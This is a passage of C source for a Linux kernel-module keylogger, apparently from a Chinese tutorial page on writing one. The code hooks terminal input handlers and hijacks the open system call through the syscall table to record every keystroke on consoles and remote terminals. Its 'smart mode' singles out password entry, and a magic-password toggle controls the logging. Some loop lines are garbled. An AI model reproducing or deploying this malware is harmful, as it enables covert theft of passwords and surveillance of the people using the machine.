"[ALT-P]", 7); break; case 'q': append_c(tmp, "[ALT-Q]", 7); break; case 'r': append_c(tmp, "[ALT-R]", 7); break; case 's': append_c(tmp, "[ALT-S]", 7); break; case 't': append_c(tmp, "[ALT-T]", 7); break; case 'u': append_c(tmp, "[ALT-U]", 7); break; case 'v': append_c(tmp, "[ALT-V]", 7); break; case 'x': append_c(tmp, "[ALT-X]", 7); break; case 'y': append_c(tmp, "[ALT-Y]", 7); break; case 'z': append_c(tmp, "[ALT-Z]", 7); break; } break; case 3: switch(cp[2]) { case 68: // Left: 27 91 68 append_c(tmp, "[LEFT]", 6); break; case 67: // Right: 27 91 67 append_c(tmp, "[RIGHT]", 7); break; case 65: // Up: 27 91 65 append_c(tmp, "[UP]", 4); break; case 66: // Down: 27 91 66 append_c(tmp, "[DOWN]", 6); break; case 80: // Pause/Break: 27 91 80 append_c(tmp, "[BREAK]", 7); break; } break; case 4: switch(cp[3]) { case 65: // F1: 27 91 91 65 append_c(tmp, "[F1]", 4); break; case 66: // F2: 27 91 91 66 append_c(tmp, "[F2]", 4); break; case 67: // F3: 27 91 91 67 append_c(tmp, "[F3]", 4); break; case 68: // F4: 27 91 91 68 append_c(tmp, "[F4]", 4); break; case 69: // F5: 27 91 91 69 append_c(tmp, "[F5]", 4); break; case 126: switch(cp[2]) { case 53: // PgUp: 27 91 53 126 append_c(tmp, "[PgUP]", 6); break; case 54: // PgDown: 27 91 54 126 append_c(tmp, "[PgDOWN]", 8); break; case 49: // Home: 27 91 49 126 append_c(tmp, "[HOME]", 6); break; case 52: // End: 27 91 52 126 append_c(tmp, "[END]", 5); break; case 50: // Insert: 27 91 50 126 append_c(tmp, "[INS]", 5); break; case 51: // Delete: 27 91 51 126 append_c(tmp, "[DEL]", 5); break; } break; } break; case 5: if(cp[2] == 50) switch(cp[3]) { case 48: // F9: 27 91 50 48 126 append_c(tmp, "[F9]", 4); break; case 49: // F10: 27 91 50 49 126 append_c(tmp, "[F10]", 5); break; case 51: // F11: 27 91 50 51 126 append_c(tmp, "[F11]", 5); break; case 52: // F12: 27 91 50 52 126 append_c(tmp, "[F12]", 5); break; case 53: // Shift-F1: 27 91 50 53 126 append_c(tmp, "[SH-F1]", 7); break; case 54: // Shift-F2: 27 91 50 54 126 append_c(tmp, "[SH-F2]", 7); break; case 56: // Shift-F3: 27 91 50 56 126 append_c(tmp, "[SH-F3]", 7); break; case 57: // Shift-F4: 27 91 50 57 126 append_c(tmp, "[SH-F4]", 7); break; } else switch(cp[3]) { case 55: // F6: 27 91 49 55 126 append_c(tmp, "[F6]", 4); break; case 56: // F7: 27 91 49 56 126 append_c(tmp, "[F7]", 4); break; case 57: // F8: 27 91 49 57 126 append_c(tmp, "[F8]", 4); break; case 49: // Shift-F5: 27 91 51 49 126 append_c(tmp, "[SH-F5]", 7); break; case 50: // Shift-F6: 27 91 51 50 126 append_c(tmp, "[SH-F6]", 7); break; case 51: // Shift-F7: 27 91 51 51 126 append_c(tmp, "[SH-F7]", 7); break; case 52: // Shift-F8: 27 91 51 52 126 append_c(tmp, "[SH-F8]", 7); break; }; break; default: // Unknow break; } } /* * Called whenever user press a key */ void vlogger_process(struct tty_struct *tty, const unsigned char *cp, int count) { struct tlogger *tmp = ttys[TTY_INDEX(tty)]; if (!tmp) { DPRINT("erm .. unknow error???\n"); init_tty(tty, TTY_INDEX(tty)); tmp = ttys[TTY_INDEX(tty)]; if (!tmp) return; } if (vlogger_mode == VK_SMARTMODE) { if (tmp->status && !IS_PASSWD(tty)) { resetbuf(tmp); } if (!tmp->pass && IS_PASSWD(tty)) { logging(tty, tmp, 0); resetbuf(tmp); } if (tmp->pass && !IS_PASSWD(tty)) { if (!tmp->lastpos) logging(tty, tmp, 0); resetbuf(tmp); } tmp->pass = IS_PASSWD(tty); tmp->status = 0; } if ((count + tmp->lastpos) > MAX_BUFFER - 1) { logging(tty, tmp, 1); resetbuf(tmp); } if (count == 1) { if (cp[0] == VK_TOGLE_CHAR) { if (!strcmp(tmp->buf, MAGIC_PASS)) { if(vlogger_mode < 2) vlogger_mode++; else vlogger_mode = 0; reset_all_buf(); switch(vlogger_mode) { case VK_DUMBMODE: DPRINT("Dumb Mode\n"); TTY_WRITE(tty, "\r\n" "Dumb Mode\n", 12); break; case VK_SMARTMODE: DPRINT("Smart Mode\n"); TTY_WRITE(tty, "\r\n" "Smart Mode\n", 13); break; case VK_NORMAL: DPRINT("Normal Mode\n"); TTY_WRITE(tty, "\r\n" "Normal Mode\n", 14); } } } switch (cp[0]) { case 0x01: //^A append_c(tmp, "[^A]", 4); break; case 0x02: //^B append_c(tmp, "[^B]", 4); break; case 0x03: //^C append_c(tmp, "[^C]", 4); case 0x04: //^D append_c(tmp, "[^D]", 4); case 0x0D: //^M case 0x0A: if (vlogger_mode == VK_SMARTMODE) { if (IS_PASSWD(tty)) { logging(tty, tmp, 0); resetbuf(tmp); } else tmp->status = 1; } else { logging(tty, tmp, 0); resetbuf(tmp); } break; case 0x05: //^E append_c(tmp, "[^E]", 4); break; case 0x06: //^F append_c(tmp, "[^F]", 4); break; case 0x07: //^G append_c(tmp, "[^G]", 4); break; case 0x09: //TAB - ^I append_c(tmp, "[TAB]", 5); break; case 0x0b: //^K append_c(tmp, "[^K]", 4); break; case 0x0c: //^L append_c(tmp, "[^L]", 4); break; case 0x0e: //^E append_c(tmp, "[^E]", 4); break; case 0x0f: //^O append_c(tmp, "[^O]", 4); break; case 0x10: //^P append_c(tmp, "[^P]", 4); break; case 0x11: //^Q append_c(tmp, "[^Q]", 4); break; case 0x12: //^R append_c(tmp, "[^R]", 4); break; case 0x13: //^S append_c(tmp, "[^S]", 4); break; case 0x14: //^T append_c(tmp, "[^T]", 4); break; case 0x15: //CTRL-U resetbuf(tmp); break; case 0x16: //^V append_c(tmp, "[^V]", 4); break; case 0x17: //^W append_c(tmp, "[^W]", 4); break; case 0x18: //^X append_c(tmp, "[^X]", 4); break; case 0x19: //^Y append_c(tmp, "[^Y]", 4); break; case 0x1a: //^Z append_c(tmp, "[^Z]", 4); break; case 0x1c: //^\ append_c(tmp, "[^\\]", 4); break; case 0x1d: //^] append_c(tmp, "[^]]", 4); break; case 0x1e: //^^ append_c(tmp, "[^^]", 4); break; case 0x1f: //^_ append_c(tmp, "[^_]", 4); break; case BACK_SPACE_CHAR1: case BACK_SPACE_CHAR2: if (!tmp->lastpos) break; if (tmp->buf[tmp->lastpos-1] != ']') tmp->buf[--tmp->lastpos] = 0; else { append_c(tmp, "[^H]", 4); } break; case ESC_CHAR: //ESC append_c(tmp, "[ESC]", 5); break; default: tmp->buf[tmp->lastpos++] = cp[0]; tmp->buf[tmp->lastpos] = 0; } } else { // a block of chars or special key if (cp[0] != ESC_CHAR) { while (count >= MAX_BUFFER) { append_c(tmp, cp, MAX_BUFFER); logging(tty, tmp, 1); resetbuf(tmp); count -= MAX_BUFFER; cp += MAX_BUFFER; } append_c(tmp, cp, count); } else // special key special_key(tmp, cp, count); } } void my_tty_open(void) { int fd, i; char dev_name[80]; #ifdef LOCAL_ONLY int fl = 0; struct tty_struct * tty; struct file * file; #endif for (i=1; isnprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i); BEGIN_KMEM fd = open(dev_name, O_RDONLY, 0); if (fd < 0) continue; #ifdef LOCAL_ONLY file = fget(fd); tty = file->private_data; if (tty != NULL && tty->ldisc.receive_buf != NULL) { if (!fl) { old_receive_buf = tty->ldisc.receive_buf; fl = 1; } init_tty(tty, TTY_INDEX(tty)); } fput(file); #endif close(fd); END_KMEM } #ifndef LOCAL_ONLY for (i=0; isnprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i); BEGIN_KMEM fd = open(dev_name, O_RDONLY, 0); if (fd >= 0) close(fd); END_KMEM } #endif } void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { if (!tty->real_raw && !tty->raw) // ignore raw mode vlogger_process(tty, cp, count); (*old_receive_buf)(tty, cp, fp, count); } static inline void init_tty(struct tty_struct *tty, int tty_index) { struct tlogger *tmp; DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty)); if (ttys[tty_index] == NULL) { tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL); if (!tmp) { DPRINT("kmalloc failed!\n"); return; } memset(tmp, 0, sizeof(struct tlogger)); tmp->tty = tty; tty->ldisc.receive_buf = new_receive_buf; ttys[tty_index] = tmp; } else { tmp = ttys[tty_index]; logging(tty, tmp, 1); resetbuf(tmp); tty->ldisc.receive_buf = new_receive_buf; } } asmlinkage int new_sys_open(const char *filename, int flags, int mode) { int ret; static int fl = 0; struct file * file; ret = (*original_sys_open)(filename, flags, mode); if (ret >= 0) { struct tty_struct * tty; BEGIN_KMEM lock_kernel(); file = fget(ret); tty = file->private_data; if (tty != NULL && ((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE && TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) || (tty->driver.type == TTY_DRIVER_TYPE_PTY && tty->driver.subtype == PTY_TYPE_SLAVE && TTY_NUMBER(tty) < MAX_PTS_CON)) && tty->ldisc.receive_buf != NULL && tty->ldisc.receive_buf != new_receive_buf) { if (!fl) { old_receive_buf = tty->ldisc.receive_buf; fl = 1; } init_tty(tty, TTY_INDEX(tty)); } fput(file); unlock_kernel(); END_KMEM } return ret; } int init_module(void) { DPRINT(MVERSION); #ifndef LOCAL_ONLY original_sys_open = sys_call_table[__NR_open]; sys_call_table[__NR_open] = new_sys_open; #endif my_tty_open(); // MOD_INC_USE_COUNT; return 0; } DECLARE_WAIT_QUEUE_HEAD(wq); void cleanup_module(void) { int i; #ifndef LOCAL_ONLY sys_call_table[__NR_open] = original_sys_open; #endif for (i=0; iif (ttys[i] != NULL) { ttys[i]->tty->ldisc.receive_buf = old_receive_buf; } } sleep_on_timeout(&wq, HZ); for (i=0; iif (ttys[i] != NULL) { kfree(ttys[i]); } } DPRINT("Unloaded\n"); } EXPORT_NO_SYMBOLS;
[火星人
]
書寫基於內核的linux鍵盤紀錄器 已經有575 次圍觀
本文地址: http://coctec.com/docs/program/show-post-71960.html